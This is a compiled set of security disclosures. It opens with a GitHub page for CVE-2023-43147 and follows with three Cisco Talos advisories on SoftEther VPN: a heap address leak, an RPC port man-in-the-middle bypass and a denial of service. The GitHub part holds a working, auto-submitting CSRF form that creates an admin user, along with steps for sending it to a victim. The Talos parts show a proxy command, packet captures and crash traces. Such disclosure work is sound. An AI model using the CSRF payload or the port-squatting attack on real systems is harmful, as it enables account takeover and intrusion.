PHPJabbers Limo Booking Software 1.0 is vulnerable to Cross Site Request Forgery (CSRF) to add an admin user via the Add Users Function, aka an index.php?controller=pjAdminUsers&action=pjActionCreate URI.

**Name already in use**

A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?

**1** branch **0** tags

Code

*   Use Git or checkout with SVN using the web URL.
    
*   Open with GitHub Desktop
*   Download ZIP

**Latest commit**

**Files**

Permalink

Failed to load latest commit information.

Type

Name

Latest commit message

Commit time

\# CVE-2023-43147

 Vendor: PHPJabbers
 Vendor Homepage: https://www.phpjabbers.com/
 Software Link: https://www.phpjabbers.com/limo-booking-software
 Version: 1.0
 Tested on: Windows 10 Pro
 Impact: Add an attacker user with admin privileges
 CVE:

 Cross Site Request Forgery vulnerability in limo-booking-software allows a remote attacker to execute add and user with admin privileges
 

POC
 1 - Make an file with with this CODE and SAVE in HTML . If you save a new request to make a CSRF be sure that you change role\_id=0 to 1 (role\_id=1)

 <html>
    <body>
    <form action="https://demo.phpjabbers.com/1694190842\_980/index.php?controller=pjAdminUsers&action=pjActionCreate" method="POST">
      <input type="hidden" name="user&#95;create" value="1" />
      <input type="hidden" name="role&#95;id" value="1" />
      <input type="hidden" name="email" value="hacker&#64;admin&#46;tor" />
      <input type="hidden" name="password" value="admin1234" />
      <input type="hidden" name="name" value="admintor" />
      <input type="hidden" name="phone" value="" />
      <input type="hidden" name="status" value="T" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms\[0\].submit();
    </script>
  </body>
</html>

2 - Example test.html

3 - Send to the victim

4 - When the victim open the html the file test.html will open in his navigator and when he will open and press click at the button the code will changes in his actually session and one user will add in the panel admin
with admin privileges.

CVE-2023-43147: GitHub - MinoTauro2020/CVE-2023-43147: CVE-2023-43148

An information disclosure vulnerability exists in the CtEnumCa() functionality of SoftEther VPN 4.41-9782-beta and 5.01.9674. Specially crafted network packets can lead to a disclosure of sensitive information. An attacker can send packets to trigger this vulnerability.

**SUMMARY**

An information disclosure vulnerability exists in the CtEnumCa() functionality of SoftEther VPN 4.41-9782-beta and 5.01.9674. Specially crafted network packets can lead to a disclosure of sensitive information. An attacker can send packets to trigger this vulnerability.

**CONFIRMED VULNERABLE VERSIONS**

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

SoftEther VPN 4.41-9782-beta  
SoftEther VPN 5.01.9674

**PRODUCT URLS**

SoftEther VPN - https://www.softether.org/

**CVSSv3 SCORE**

5.5 - CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

**CWE**

CWE-201 - Information Exposure Through Sent Data

**DETAILS**

SoftEther is a multi-platform VPN project that provides both server and client code to connect over a variety of VPN protocols, including Wireguard, PPTP, SSTP, L2TP, etc. SoftEther has a variety of features for both enterprise and personal use, and enables Nat Traversal out-of-the-box for remote-access setups behind firewalls.

Within the SoftEtherVPN client there exists some interesting architectural decisions, first and foremost being the fact that the SoftEtherVPN client itself consists of an RPC client and an RPC server. While the process differs on Linux and Windows, there are some core common elements. The VPN client’s RPC server binds to a given TCP port within the range of 9931-9936, on all interfaces, and then the VPN client’s RPC client connects to that port to send the VPN client commands. For ease of reference, we will be referring to these components as the RPC client and RPC server, but just know that these are both contained within the client-side portion of SoftEtherVPN.

Upon connection, the RPC client immediately authenticates to the RPC server with a message formed like “\\x00\\x00\\x00\\x01” for the message type and then a 20-byte SHA0 hash of the RPC server password. Assuming this authentication is bypassed in one way or another, legitimately or not, our RCP client then has access to the following RPC messages:

        if (StrCmpi(name, "GetClientVersion") == 0)
        else if (StrCmpi(name, "GetCmSetting") == 0)
        else if (StrCmpi(name, "SetCmSetting") == 0)
        else if (StrCmpi(name, "SetPassword") == 0) 
        else if (StrCmpi(name, "GetPasswordSetting") == 0)
        else if (StrCmpi(name, "EnumCa") == 0)    // [1]
        else if (StrCmpi(name, "AddCa") == 0) 
        else if (StrCmpi(name, "DeleteCa") == 0)
        else if (StrCmpi(name, "GetCa") == 0) 
        else if (StrCmpi(name, "EnumSecure") == 0)
        else if (StrCmpi(name, "UseSecure") == 0)
        else if (StrCmpi(name, "GetUseSecure") == 0) 
        else if (StrCmpi(name, "EnumObjectInSecure") == 0)
        else if (StrCmpi(name, "CreateVLan") == 0)
        else if (StrCmpi(name, "UpgradeVLan") == 0)
        else if (StrCmpi(name, "GetVLan") == 0) 
        else if (StrCmpi(name, "SetVLan") == 0) 
        else if (StrCmpi(name, "EnumVLan") == 0) 
        else if (StrCmpi(name, "DeleteVLan") == 0)
        else if (StrCmpi(name, "EnableVLan") == 0)
        else if (StrCmpi(name, "DisableVLan") == 0)
        else if (StrCmpi(name, "CreateAccount") == 0)
        else if (StrCmpi(name, "EnumAccount") == 0)
        else if (StrCmpi(name, "DeleteAccount") == 0)
        else if (StrCmpi(name, "SetStartupAccount") == 0)
        else if (StrCmpi(name, "RemoveStartupAccount") == 0)
        else if (StrCmpi(name, "GetIssuer") == 0)
        else if (StrCmpi(name, "GetCommonProxySetting") == 0)
        else if (StrCmpi(name, "SetCommonProxySetting") == 0)
        else if (StrCmpi(name, "SetAccount") == 0)
        else if (StrCmpi(name, "GetAccount") == 0)
        else if (StrCmpi(name, "RenameAccount") == 0)
        else if (StrCmpi(name, "SetClientConfig") == 0)
        else if (StrCmpi(name, "GetClientConfig") == 0)
        else if (StrCmpi(name, "Connect") == 0)
        else if (StrCmpi(name, "Disconnect") == 0)
        else if (StrCmpi(name, "GetAccountStatus") == 0)
    

All these RPC commands encompass the functionality of what the normal VPN client is capable of from the GUI or commandline, so there’s not really much to be gained if an attacker already has access to the user account of whomever is using this SoftetherVPN client. Since the RPC server binds to the network stack, another user on the same computer who is able to bypass the authentication mechanism has a lot of interesting things to play with. In this advisory we’re just going to be looking at the EnumCa command up at \[1\], whose code flow we examine below:

    else if (StrCmpi(name, "EnumCa") == 0)
    {
        RPC_CLIENT_ENUM_CA a;
        if (CtEnumCa(c, &a) == false)
        {
            RpcError(ret, c->Err);
        }
        else
        {
            OutRpcClientEnumCa(ret, &a);
            CiFreeClientEnumCa(&a);
        }
    }
    

Nothing too special here; all the RPC commands tend to follow this pattern. Let us quickly look at the RPC_CLIENT_ENUM_CA struct before continuing on into CtEnumCa:

    // Certificate enumeration item
    struct RPC_CLIENT_ENUM_CA_ITEM
    {
        UINT Key;                               // Certificate key  // [2]
        wchar_t SubjectName[MAX_SIZE];          // Issued to
        wchar_t IssuerName[MAX_SIZE];           // Issuer
        UINT64 Expires;                         // Expiration date
    };
    
    // Certificate enumeration
    struct RPC_CLIENT_ENUM_CA
    {
        UINT NumItem;                           // Number of items 
        RPC_CLIENT_ENUM_CA_ITEM **Items;        // Item             // [3]   
    };
    
    
    // Enumerate the trusted CA
    bool CtEnumCa(CLIENT *c, RPC_CLIENT_ENUM_CA *e)
    {
        // Validate arguments
        if (c == NULL || e == NULL)
        {
            return false;
        }
    
        Zero(e, sizeof(RPC_CLIENT_ENUM_CA));  
    
        LockList(c->Cedar->CaList);
        {
            UINT i;
            e->NumItem = LIST_NUM(c->Cedar->CaList);
            e->Items = ZeroMalloc(sizeof(RPC_CLIENT_ENUM_CA_ITEM *) * e->NumItem); // [4]
    
            for (i = 0;i < e->NumItem;i++)
            {
                X *x = LIST_DATA(c->Cedar->CaList, i);
                e->Items[i] = ZeroMalloc(sizeof(RPC_CLIENT_ENUM_CA_ITEM));
                GetAllNameFromNameEx(e->Items[i]->SubjectName, sizeof(e->Items[i]->SubjectName), x->subject_name);
                GetAllNameFromNameEx(e->Items[i]->IssuerName, sizeof(e->Items[i]->IssuerName), x->issuer_name);
                e->Items[i]->Expires = x->notAfter;
                e->Items[i]->Key = POINTER_TO_KEY(x); // [5]
            }
        }
        UnlockList(c->Cedar->CaList);
    
        return true;
    }
    

The codeflow is rather simple, copying the c->Cedar->CaList into the fore-mentioned RPC_CLIENT_ENUM_CA *e struct inside of a loop. An allocation is made to hold all of the RPC_CLIENT_ENUM_CA_ITEM * pointers \[4\], and then each of these pointers is graced with a corresponding object inside of the subsequent loop. Nothing looks out of the ordinary, but when setting the Key member of each struct\[2\] the POINTER_TO_KEY macro\[5\] is rather eye-catching. Let’s see what it does:

    // Convert the pointer to UINT
    #define POINTER_TO_KEY(p)       ((sizeof(void *) == sizeof(UINT)) ? (UINT)(p) : HashPtrToUINT(p))  // [6]
    
    
    // Hash a pointer to a 32-bit
    UINT HashPtrToUINT(void *p)
    {
        UCHAR hash_data[MD5_SIZE];
        UINT ret;
        // Validate arguments
        if (p == NULL)
        {
            return 0;
        }
    
        Hash(hash_data, &p, sizeof(p), false);  // [7]
    
        Copy(&ret, hash_data, sizeof(ret));     // [8]
    
        return ret;
    }
    
    // Hash function
    void Hash(void *dst, void *src, UINT size, bool sha)
    {
        // Validate arguments
        if (dst == NULL || (src == NULL && size != 0))
        {
            return;
        }
    
        if (sha == false)
        {
            // MD5 hash
            MD5(src, size, dst);               // [9]
        }
        // [...]
    }
    

At \[6\], we quickly see that if we’re dealing with a 32-bit machine, then the e->Items[i]->Key is just the pointer passed into the function, and in our case would just be the address of the x509 object inside of our global list (i.e. ((X *)c->Cedar->CaList[x]->p)->x509). In the case of 64-bit installations, it’s slightly more complicated, as the pointer gets hashed \[7\] (which for this code flow is just an MD5 sum \[9\]), and then the top four bytes of the hash are copied over into our return value \[8\].

But what does this mean in summary? Well, if we send an EnumCa RPC request to a 32-bit RPC server, then we get the heap addresses of all the CA certificates that are currently loaded, which is a pretty clear-cut information disclosure. For 64-bit RPC servers, the vulnerability is a little more obtuse, as we would need to generate a set of MD5 rainbow tables in order to know the address of all of the loaded CA certificates. This is not unreasonable, however, given the limited set of possible heap addresses.

**VENDOR RESPONSE**

The vendor issued an advisory: https://www.softether.org/9-about/News/904-SEVPN202301

**TIMELINE**

2023-06-12 - Vendor Disclosure  
2023-06-30 - Vendor Patch Release  
2023-10-12 - Public Release

Discovered by Lilith >\_> of Cisco Talos.

CVE-2023-32275: TALOS-2023-1753 || Cisco Talos Intelligence Group

An authentication bypass vulnerability exists in the CiRpcServerThread() functionality of SoftEther VPN 5.01.9674 and 4.41-9782-beta. An attacker can perform a local man-in-the-middle attack to trigger this vulnerability.

**SUMMARY**

An authentication bypass vulnerability exists in the CiRpcServerThread() functionality of SoftEther VPN 5.01.9674 and 4.41-9782-beta. An attacker can perform a local man-in-the-middle attack to trigger this vulnerability.

**CONFIRMED VULNERABLE VERSIONS**

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

SoftEther VPN 4.41-9782-beta  
SoftEther VPN 5.01.9674

**PRODUCT URLS**

SoftEther VPN - https://www.softether.org/

**CVSSv3 SCORE**

7.8 - CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

**CWE**

CWE-300 - Channel Accessible by Non-Endpoint (‘Man-in-the-Middle’)

**DETAILS**

SoftEther is a multi-platform VPN project that provides both server and client code to connect over a variety of VPN protocols, including Wireguard, PPTP, SSTP, L2TP, etc. SoftEther has a variety of features for both enterprise and personal use, and enables Nat Traversal out-of-the-box for remote-access setups behind firewalls.

Within the SoftEtherVPN client there exists some interesting architectural decisions, first and foremost being the fact that the SoftEtherVPN client itself consists of an RPC client and an RPC server. While the process differs on Linux and Windows, there are some core common elements. The VPN client’s RPC server binds to a given TCP port within the range of 9931-9936, on all interfaces, and then the VPN client’s RPC client connects to that port to send the VPN client commands. For ease of reference, we will be referring to these components as the RPC client and RPC server, but just know that these are both contained within the client-side portion of SoftEtherVPN.

For this particular vulnerability, let us examine exactly how the server does network configuration on Linux:

    // RPC server thread
    void CiRpcServerThread(THREAD *thread, void *param)
    {
        CLIENT *c;
        SOCK *listener;
        UINT i;
        LIST *thread_list;
        // Validate arguments
        if (thread == NULL || param == NULL)
        {
            return;
        }
    
        c = (CLIENT *)param;
    
        // RPC connection list
        c->RpcConnectionList = NewList(NULL);
    
        // Open the port
        listener = NULL;
        for (i = CLIENT_CONFIG_PORT;i < (CLIENT_CONFIG_PORT + 5);i++) // 9931; 9936  // [1]
        {
            listener = Listen(i); // [2]
            if (listener != NULL)
            {
                break;
            }
        }
    
        if (listener == NULL)
        {
            // Error
            Alert(CEDAR_PRODUCT_STR " VPN Client RPC Port Open Failed.", CEDAR_CLIENT_STR);
            return;
        }
    

At \[1\], we see that we loop over the specific listen ports. At \[2\], we try to create a listener. Assuming that the listener fails, the RPC Server just keeps increasing the port until it finds an open one. But this begs the question of how the RPC Client knows which port to connect to, and we find the answer in CcConnectRpcEx:

    REMOTE_CLIENT *CcConnectRpcEx(char *server_name, char *password, bool *bad_pass, bool *no_remote, UCHAR *key, UINT *key_error_code, bool shortcut_disconnect, UINT wait_retry)
    {
        // [...]
    
    #ifdef  OS_WIN32
        // read the current port number from the registry of the localhost
        if (StrCmpi(server_name, "localhost") == 0)
        {
            reg_port = MsRegReadIntEx2(REG_LOCAL_MACHINE, CLIENT_WIN32_REGKEYNAME, CLIENT_WIN32_REGVALUE_PORT, false, true); // [3]
            reg_pid = MsRegReadIntEx2(REG_LOCAL_MACHINE, CLIENT_WIN32_REGKEYNAME, CLIENT_WIN32_REGVALUE_PID, false, true);
    
            if (reg_pid != 0)
            {
                if (MsIsServiceRunning(GC_SVC_NAME_VPNCLIENT) == false)
                {
                    reg_port = 0;
                }
            }
            else
            {
                reg_port = 0;
            }
        }
    
        if (reg_port != 0)
        {
            s = Connect(server_name, reg_port); // [4]
    
            if (s != NULL)
            {
                goto L_TRY;
            }
        }
    
    #endif  // OS_WIN32
    

At least for Windows, assuming our server is running on local host, then a registry key is grabbed at \[3\] which contains the correct port to connect to \[4\]. But if the SoftEther VPN service is not running, or we are connecting remotely, or if we are using a Linux RPC client, then we hit the following code:

        port_start = CLIENT_CONFIG_PORT - 1;
    
    RETRY:
        port_start++;
    
        if (port_start >= (CLIENT_CONFIG_PORT + 5))
        {
            return NULL;
        }
    
        ok = false;
    
        while (true)
        {
            for (i = port_start;i < (CLIENT_CONFIG_PORT + 5);i++) // [5]
            {
                if (CheckTCPPort(server_name, i)) // [6]
                {
                    ok = true;
                    break;
                }
    
        // [...]
        }
    
    if (ok == false)
    {
        if (key_error_code)
        {
            *key_error_code = ERR_CONNECT_FAILED;
        }
        return NULL;
    }
    
    
    port_start = i;
    
    s = Connect(server_name, i);  // [7]
    

Again, we iterate over our specific port range at \[5\] and try to see if the TCP port is open at \[6\]. If the TCP port is closed, it is not considered an error unless all ports are closed. Assuming we’ve found a valid open port, we connect at \[7\].

With all this in mind, a vulnerability is apparent. Assume that a malicious user on a computer that’s expected to be running a SoftEtherVPN client binds to the first port available (9930 or 9931, which is possible without admin privileges), which the RPC server would normally bind to. When a normal SoftEtherVPN client user starts up their client, nothing errors out, since the RPC server would bind to the next available port after the malicious MitM port. The legitimate RPC client meanwhile would connect automatically to the malicious man-in-the-middle port without ever knowing their mistake and would send traffic unencrypted through the man-in-the-middle.

Assuming this occurs, locally or remotely, the attacker has gained a large attack surface. Aside from potentially exploiting other bugs within the RPC client and RPC server, the attacker would have the same access to the VPN client, potentially gaining access to sensitive networks. Alternatively, they could subsequently set up a man-in-the-middle attack against the VPN network itself, potentially leading to further escalation into the network. This could be done crudely either by adding a malicious trusted CA to the SoftEtherVPN client (which would write to the disk), or by intercepting and manipulating the network traffic between the RPC server and RPC client, such that untrusted CA certificates on the remote VPN side were automatically trusted without popping up a message.

**Crash Information**

    $ python2 decept.py 127.0.0.1 9931 127.0.0.1 9932 -l tcp -r tcp --timeout .1 --dont_kill
    [<_<] Decept proxy/sniffer [>_>]
    
    [*.*] Listening on 127.0.0.1:9931
    [$.$] local:tcp|remote:tcp
    [>.>] 12:15:37.349951 Received Connection from ('127.0.0.1', 52198)
    [>.>] 12:15:37.467882 Received Connection from ('127.0.0.1', 52208)
    0000   00 00 00 01 f9 6c ea 19 8a d1 dd 56 17 ac 08 4a    .....l.....V...J
    0010   3d 92 c6 10 77 08 c0 ef                            =...w...
    [o.o] 12:15:37.626257 Sent 24 bytes to remote (127.0.0.1:52208->127.0.0.1:9932)
    
    0000   00 00 00 00                                        ....
    [o.o] 12:15:37.733871 Sent 4 bytes to local (127.0.0.1:52208<-127.0.0.1:9932)
    
    0000   00 00 00 31 00 00 00 01 00 00 00 0e 66 75 6e 63    ...1........func
    0010   74 69 6f 6e 5f 6e 61 6d 65 00 00 00 02 00 00 00    tion_name.......
    0020   01 00 00 00 10 47 65 74 43 6c 69 65 6e 74 56 65    .....GetClientVe
    0030   72 73 69 6f 6e                                     rsion
    [o.o] 12:15:37.841662 Sent 53 bytes to remote (127.0.0.1:52208->127.0.0.1:9932)
    
    0000   00 00 01 c3 00 00 00 0b 00 00 00 16 43 6c 69 65    ............Clie
    0010   6e 74 42 75 69 6c 64 49 6e 66 6f 53 74 72 69 6e    ntBuildInfoStrin
    0020   67 00 00 00 02 00 00 00 01 00 00 00 30 43 6f 6d    g...........0Com
    0030   70 69 6c 65 64 20 32 30 32 33 2f 30 31 2f 31 38    piled 2023/01/18
    0040   20 31 37 3a 33 35 3a 34 37 20 62 79 20 74 68 69     17:35:47 by thi
    0050   65 66 79 20 61 74 20 6b 69 6c 6c 6d 65 00 00 00    efy at killme...
    0060   0f 43 6c 69 65 6e 74 42 75 69 6c 64 49 6e 74 00    .ClientBuildInt.
    0070   00 00 00 00 00 00 01 00 00 14 3c 00 00 00 12 43    ..........<....C
    0080   6c 69 65 6e 74 50 72 6f 64 75 63 74 4e 61 6d 65    lientProductName
    0090   00 00 00 02 00 00 00 01 00 00 00 26 53 6f 66 74    ...........&Soft
    00a0   45 74 68 65 72 20 56 50 4e 20 43 6c 69 65 6e 74    Ether VPN Client
    00b0   20 44 65 76 65 6c 6f 70 65 72 20 45 64 69 74 69     Developer Editi
    00c0   6f 6e 00 00 00 0d 43 6c 69 65 6e 74 56 65 72 49    on....ClientVerI
    00d0   6e 74 00 00 00 00 00 00 00 01 00 00 01 f6 00 00    nt..............
    00e0   00 14 43 6c 69 65 6e 74 56 65 72 73 69 6f 6e 53    ..ClientVersionS
    00f0   74 72 69 6e 67 00 00 00 02 00 00 00 01 00 00 00    tring...........
    0100   23 56 65 72 73 69 6f 6e 20 35 2e 30 32 20 42 75    #Version 5.02 Bu
    0110   69 6c 64 20 35 31 38 30 20 20 20 28 45 6e 67 6c    ild 5180   (Engl
    0120   69 73 68 29 00 00 00 0f 49 73 56 67 63 53 75 70    ish)....IsVgcSup
    0130   70 6f 72 74 65 64 00 00 00 00 00 00 00 01 00 00    ported..........
    0140   00 00 00 00 00 14 49 73 56 4c 61 6e 4e 61 6d 65    ......IsVLanName
    0150   52 65 67 75 6c 61 74 65 64 00 00 00 00 00 00 00    Regulated.......
    0160   01 00 00 00 00 00 00 00 07 4f 73 54 79 70 65 00    .........OsType.
    0170   00 00 00 00 00 00 01 00 00 0c 1c 00 00 00 0a 50    ...............P
    0180   72 6f 63 65 73 73 49 64 00 00 00 00 00 00 00 01    rocessId........
    0190   00 00 00 00 00 00 00 0c 53 68 6f 77 56 67 63 4c    ........ShowVgcL
    01a0   69 6e 6b 00 00 00 00 00 00 00 01 00 00 00 00 00    ink.............
    01b0   00 00 09 43 6c 69 65 6e 74 49 64 00 00 00 02 00    ...ClientId.....
    01c0   00 00 01 00 00 00 00                               .......
    [o.o] 12:15:37.949690 Sent 455 bytes to local (127.0.0.1:52208<-127.0.0.1:9932)
    

**VENDOR RESPONSE**

The vendor issued an advisory: https://www.softether.org/9-about/News/904-SEVPN202301

**TIMELINE**

2023-06-12 - Vendor Disclosure  
2023-06-30 - Vendor Patch Release  
2023-10-12 - Public Release

Discovered by Lilith >\_> of Cisco Talos.

CVE-2023-32634: TALOS-2023-1755 || Cisco Talos Intelligence Group

A denial-of-service vulnerability exists in the vpnserver ConnectionAccept() functionality of SoftEther VPN 5.02. A set of specially crafted network connections can lead to denial of service. An attacker can send a sequence of malicious packets to trigger this vulnerability.

**SUMMARY**

A denial-of-service vulnerability exists in the vpnserver ConnectionAccept() functionality of SoftEther VPN 5.02. A set of specially crafted network connections can lead to denial of service. An attacker can send a sequence of malicious packets to trigger this vulnerability.

**CONFIRMED VULNERABLE VERSIONS**

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

SoftEther VPN 5.01.9674  
SoftEther VPN 5.02

**PRODUCT URLS**

SoftEther VPN - https://www.softether.org/

**CVSSv3 SCORE**

7.5 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

**CWE**

CWE-400 - Uncontrolled Resource Consumption

**DETAILS**

SoftEther is a multi-platform VPN project that provides both server and client code to connect over a variety of VPN protocols, including Wireguard, PPTP, SSTP, L2TP, etc. SoftEther has a variety of features for both enterprise and personal use, and enables Nat Traversal out-of-the-box for remote-access setups behind firewalls.

To various ends, SoftEther VPN server accepts and parses HTTP connections by default on all of its configured TCP ports. Out of the box, this means TCP ports 443, 992, 1194 and 5555. Each port runs the ListenerTCPMainLoop function, which quickly hits the following code:

    // TCP listener main loop
    void ListenerTCPMainLoop(LISTENER *r)
    {
        SOCK *new_sock;
        SOCK *s;
        // Validate arguments
        if (r == NULL)
        {
            return;
        }
    
        Debug("ListenerTCPMainLoop Starts.\n");
        r->Status = LISTENER_STATUS_TRYING;
    
        while (true)
        {
            bool first_failed = true;
            Debug("Status = LISTENER_STATUS_TRYING\n");
            r->Status = LISTENER_STATUS_TRYING;
    
            // Try to Listen
            while (true)
            {
                UINT interval;
                // Stop flag inspection
        // [...]
    
                // Accept loop
            while (true)
            {
                // Accept
                Debug("Accept()\n");
                new_sock = Accept(s);           // [1]
                if (new_sock != NULL)
                {
                    // Accept success
                    Debug("Accepted.\n");
                    TCPAccepted(r, new_sock);   // [2]
                    ReleaseSock(new_sock);
                }
                else
                {
        STOP:
                    Debug("Accept Canceled.\n");
                    // Failed to accept (socket is destroyed)
                    // Close the listening socket
                    Disconnect(s);
                    ReleaseSock(s);
                    s = NULL;
    
       // [...] 
    

It suffices to say that each of these listeners continuously listens for new TCP connections, accepts the connections \[1\] and then spawns a new thread inside of \[2\] that eventually leads to the ConnectionAccept function:

    // Function that accepts a new connection
    void ConnectionAccept(CONNECTION *c)
    {
        SOCK *s;
        X *x;
        K *k;
        LIST *chain;
        char tmp[128];
        UINT initial_timeout = CONNECTING_TIMEOUT;  // (15 * 1000)
        UCHAR ctoken_hash[SHA1_SIZE];
    
        // Validate arguments
        if (c == NULL)
        {
            return;
        }
    
        Zero(ctoken_hash, sizeof(ctoken_hash));
    
        // Get a socket
        s = c->FirstSock;
        AddRef(s->ref);
    
        Dec(c->Cedar->AcceptingSockets);
    
        IPToStr(tmp, sizeof(tmp), &s->RemoteIP);
    
        SLog(c->Cedar, "LS_CONNECTION_START_1", tmp, s->RemoteHostname, (IS_SPECIAL_PORT(s->RemotePort) ? 0 : s->RemotePort), c->Name);
    
        // Timeout setting
        initial_timeout += GetMachineRand() % (CONNECTING_TIMEOUT / 2);  // [3] 
        SetTimeout(s, initial_timeout);
    
        // Handle third-party protocols
        if (s->IsReverseAcceptedSocket == false && s->Type == SOCK_TCP)
        {
            if (c->Cedar != NULL && c->Cedar->Server != NULL)
            {
                PROTO *proto = c->Cedar->Server->Proto;
                if (proto && ProtoHandleConnection(proto, s, NULL) == true) // [4] // => wireguard or OpenVPN
                {
                    c->Type = CONNECTION_TYPE_OTHER;
                    goto FINAL;
                }
            }
        }
    
        // Specify the encryption algorithm
        Lock(c->Cedar->lock);                 // [5]
        {
            if (c->Cedar->CipherList != NULL)
            {
                SetWantToUseCipher(s, c->Cedar->CipherList);
            }
    
            x = CloneX(c->Cedar->ServerX);
            k = CloneK(c->Cedar->ServerK);
            chain = CloneXList(c->Cedar->ServerChain);
        }
        Unlock(c->Cedar->lock);
    

Assuming that our socket is not sending Wireguard or OpenVPN traffic \[4\] (which is checked by peeking at bytes), the connection is treated as an HTTPS connection. The c->Cedar->lock is set at \[5\], and then some non-trivial functions are called within the code block. Important to note, the Cedar object is shared between all threads within the SoftEtherVPN server, and as such, the c->Cedar->lock is also shared between all threads. Thus, if we have a program repeatedly making SSL connections to any of the TCP ports that the vpnserver is configured for, more and more threads start contesting for the c->Cedar->lock because the code starting at \[5\] runs much slower than the ListenerTCPMainLoop can spawn new threads. This results in an ever-increasing number of threads waiting for the lock, the Server thread dying and being respawned and a killing of all existing VPN connections.

While it is worth noting that each of our TCP sockets have a timeout that is set at \[3\], in practice, the timeout ends up being anywhere from 15 to 22 seconds, depending on the hostname of the machine the server is running on. If we hit all of the four default configured TCP ports from a single VM, we can kill the server within a couple minutes. Once the server reaches around 32657 threads, memory gets sparse and an alloc causes an Abort() to be called. While the SoftEther vpnserver network service will restart (as it runs as a service), due to the speed at which we can continuously kill it, we believe this can be used for performing a denial of service.

**Crash Information**

    <(^.^)>#bt
    #0  futex_wait (private=0, expected=2, futex_word=0x5616139cd770) at ../sysdeps/nptl/futex-internal.h:146
    #1  __GI___lll_lock_wait (futex=futex@entry=0x5616139cd770, private=0) at ./nptl/lowlevellock.c:49
    #2  0x00007fda0bc98082 in lll_mutex_lock_optimized (mutex=0x5616139cd770) at ./nptl/pthread_mutex_lock.c:48
    #3  ___pthread_mutex_lock (mutex=0x5616139cd770) at ./nptl/pthread_mutex_lock.c:93
    #4  0x00007fda0bed55cb in UnixLock (lock=0x5616139cd750) at /softether/SoftEtherVPN_orig/src/Mayaqua/Unix.c:1858
    #5  0x00007fda0bfeb016 in ConnectionAccept (c=c@entry=0x7fd9f4166b30) at /softether/SoftEtherVPN_orig/src/Cedar/Connection.c:3036
    #6  0x00007fda0c008142 in TCPAcceptedThread (param=<optimized out>, t=<optimized out>) at /softether/SoftEtherVPN_orig/src/Cedar/Listener.c:181
    #7  TCPAcceptedThread (t=<optimized out>, param=<optimized out>) at /softether/SoftEtherVPN_orig/src/Cedar/Listener.c:140
    #8  0x00007fda0be9943d in ThreadPoolProc (param=0x7fd9ba976270, t=0x7fd9ba9807c0) at /softether/SoftEtherVPN_orig/src/Mayaqua/Kernel.c:872
    #9  ThreadPoolProc (t=0x7fd9ba9807c0, param=0x7fd9ba976270) at /softether/SoftEtherVPN_orig/src/Mayaqua/Kernel.c:827
    #10 0x00007fda0bed57d1 in UnixDefaultThreadProc (param=0x7fd9ba980650) at /softether/SoftEtherVPN_orig/src/Mayaqua/Unix.c:1594
    #11 0x00007fda0bc94b43 in start_thread (arg=<optimized out>) at ./nptl/pthread_create.c:442
    #12 0x00007fda0bd26a00 in clone3 () at ../sysdeps/unix/sysv/linux/x86_64/clone3.S:81
    
       
    <(^.^)>#bt
    #0  __pthread_kill_implementation (no_tid=0, signo=6, threadid=140184485450624) at ./nptl/pthread_kill.c:44
    #1  __pthread_kill_internal (signo=6, threadid=140184485450624) at ./nptl/pthread_kill.c:78
    #2  __GI___pthread_kill (threadid=140184485450624, signo=signo@entry=6) at ./nptl/pthread_kill.c:89
    #3  0x00007f81e5c42476 in __GI_raise (sig=sig@entry=6) at ../sysdeps/posix/raise.c:26
    #4  0x00007f81e5c287f3 in __GI_abort () at ./stdlib/abort.c:79
    #5  0x00007f81e5fc043e in AbortExit () at /softether/SoftEtherVPN_orig/src/Mayaqua/Kernel.c:2086
    #6  0x00007f81e5fd7a42 in NewThreadInternal (thread_proc=thread_proc@entry=0x7f81e5fd53b0 <ThreadPoolProc>, param=param@entry=0x7f81344f4c00) at /softether/SoftEtherVPN_orig/src/Mayaqua/Kernel.c:1198
    #7  0x00007f81e5fd7bb2 in NewThreadNamed (thread_proc=thread_proc@entry=0x7f81e5fc51d0 <DnsResolverReverse>, param=param@entry=0x7f81344f7a10, name=name@entry=0x7f81e601758a "DnsResolverReverse") at /softether/SoftEtherVPN_orig/src/Mayaqua/Kernel.c:997
    #8  0x00007f81e5fc4eae in DnsResolveReverse (dst=dst@entry=0x7f7f3e7545e0 "", size=size@entry=512, ip=ip@entry=0x7f7f51850294, timeout=500, timeout@entry=0, cancel_flag=cancel_flag@entry=0x0) at /softether/SoftEtherVPN_orig/src/Mayaqua/DNS.c:586
    #9  0x00007f81e5fee5a9 in GetHostName (hostname=0x7f7f3e7545e0 "", size=512, ip=0x7f7f51850294) at /softether/SoftEtherVPN_orig/src/Mayaqua/Network.c:15412
    #10 0x00007f81e5fee6a5 in AcceptInitEx (s=0x7f7f51850140, no_lookup_hostname=<optimized out>) at /softether/SoftEtherVPN_orig/src/Mayaqua/Network.c:12755
    #11 0x00007f81e61440fe in TCPAcceptedThread (param=<optimized out>, t=<optimized out>) at /softether/SoftEtherVPN_orig/src/Cedar/Listener.c:172
    #12 TCPAcceptedThread (t=<optimized out>, param=<optimized out>) at /softether/SoftEtherVPN_orig/src/Cedar/Listener.c:140
    #13 0x00007f81e5fd543d in ThreadPoolProc (param=0x7f81444ee2d0, t=0x7f812d624840) at /softether/SoftEtherVPN_orig/src/Mayaqua/Kernel.c:872
    #14 ThreadPoolProc (t=0x7f812d624840, param=0x7f81444ee2d0) at /softether/SoftEtherVPN_orig/src/Mayaqua/Kernel.c:827
    #15 0x00007f81e60117d1 in UnixDefaultThreadProc (param=0x7f812d6264e0) at /softether/SoftEtherVPN_orig/src/Mayaqua/Unix.c:1594
    #16 0x00007f81e5c94b43 in start_thread (arg=<optimized out>) at ./nptl/pthread_create.c:442
    #17 0x00007f81e5d26a00 in clone3 () at ../sysdeps/unix/sysv/linux/x86_64/clone3.S:81
    

**VENDOR RESPONSE**

Vendor pull request on Github: https://github.com/SoftEtherVPN/SoftEtherVPN/pull/1911

**TIMELINE**

2023-04-26 - Vendor Disclosure  
2023-09-28 - Vendor Patch Release  
2023-10-12 - Public Release

